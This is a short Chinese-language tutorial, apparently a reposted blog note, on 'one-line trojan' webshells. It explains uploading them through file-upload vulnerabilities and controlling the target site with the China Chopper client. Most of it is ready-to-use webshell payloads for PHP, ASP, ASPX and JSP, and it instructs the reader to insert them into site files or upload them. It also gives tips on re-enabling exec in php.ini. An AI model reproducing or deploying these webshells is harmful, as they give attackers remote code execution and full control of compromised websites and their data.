Webshell常见一局话木马
原理:
利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。
@表示后面即使执行错误,也不报错。
eval()函数表示括号内的语句字符串什么的全都当做代码执行。
$_POST['attack']表示从页面中获得attack这个参数值。
入侵条件
(1)木马上传成功,未被杀;
(2)知道木马的路径在哪;
(3)上传的木马能正常运行。
php
<?php @eval($_POST[value]); ?>
解析:
(1) php的代码要写在<?php ?>里面,服务器才能认出来这是php代码,然后才去解析。
(2)@符号的意思是不报错,即使执行错误,也不报错。
eval()把字符串作为PHP代码执行。
<?php assert($_POST[value]);?>
解析:
用post方式接收变量value,变量里面的字符串当做php代码来执行
opendir()和readdir() 查看目标硬盘是否有小视频
move_uploaded_file() 上传小视频
exec() 执行cmd命令
前提是:php配置文件php.ini里,关掉安全模式safe_mode = off,然后再看看 禁用函数列表
disable_functions = proc_open, popen, exec, system, shell_exec ,把exec去掉,
确保没有exec(有些cms为了方便处理某些功能,会去掉的)。
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>
asp
<%eval request ("value")%>
<% execute(request("value")) %>
aspx
<%@ Page Language="Jscript" %> <% eval(Request.Item["pass"],"unsafe"); %>
jsp
<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")
+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>
直接将这些语句插入到网站上的某个asp/aspx/php文件上,或者直接创建一个新的文件,在里面写入这些语句,然后把文件上传到网站上即可。
注释:传输数据的两种方法,get、post,post是在消息体存放数据,
get是在消息头的url路径里存放数据(例如xxx.php?a=2)
笔记来源于:https://blog.csdn.net/weixin_39190897/article/details/86772765

浙公网安备 33010602011771号